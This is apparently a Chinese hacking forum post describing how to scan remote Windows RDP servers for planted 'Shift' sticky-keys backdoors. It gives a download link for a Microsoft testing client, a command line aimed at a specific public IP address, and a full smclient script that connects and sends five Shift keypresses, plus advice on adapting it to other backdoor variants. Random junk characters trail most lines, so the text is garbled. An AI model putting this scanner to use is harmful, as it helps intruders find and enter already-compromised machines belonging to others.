首先3389的SHIFT后门极少 其次大部分SHIFT后门都加密 u:S@'z>  
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所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受 nfJ8Rt   
下载ftp://ftp.microsoft.com/ResKit/win2000/roboclient.zip !Q(xOc9>Ug  
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smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d VBX# !K1Q  
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shift_backdoor.txt： N-r
mk  
job <nvWC/LU  
{ KCk?)Qv  
connect("","","",1,1); gx*rSS?=N  
sleep(2000); <s-@!8*(  
senddata("WM_KEYDOWN",16,2752513); f%{Tu`  
senddata("WM_KEYUP",16,3223977985); grQnV' q  
senddata("WM_KEYDOWN",16,2752513); yb{Q,Dz  
senddata("WM_KEYUP",16,3223977985); R*@[Pg*  
senddata("WM_KEYDOWN",16,2752513); yK077zH_  
senddata("WM_KEYUP",16,3223977985); }{8Fo4/  
senddata("WM_KEYDOWN",16,2752513); ,iVPcza  
senddata("WM_KEYUP",16,3223977985); ?{: D,{+  
senddata("WM_KEYDOWN",16,2752513); NGD*ce"w  
senddata("WM_KEYUP",16,3223977985); h/Hl?O8[  
sleep(2000); fYhR#FVI  
disconnect(); o-~~,n\  
} lRDxIuTK  
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8geek$FY x  
有些SHIFT后门被改成了按7次SHIFT，或者是WIN+U后门，改改shift_backdoor.txt把功能加进去即可 l(%k6  

下下来试一下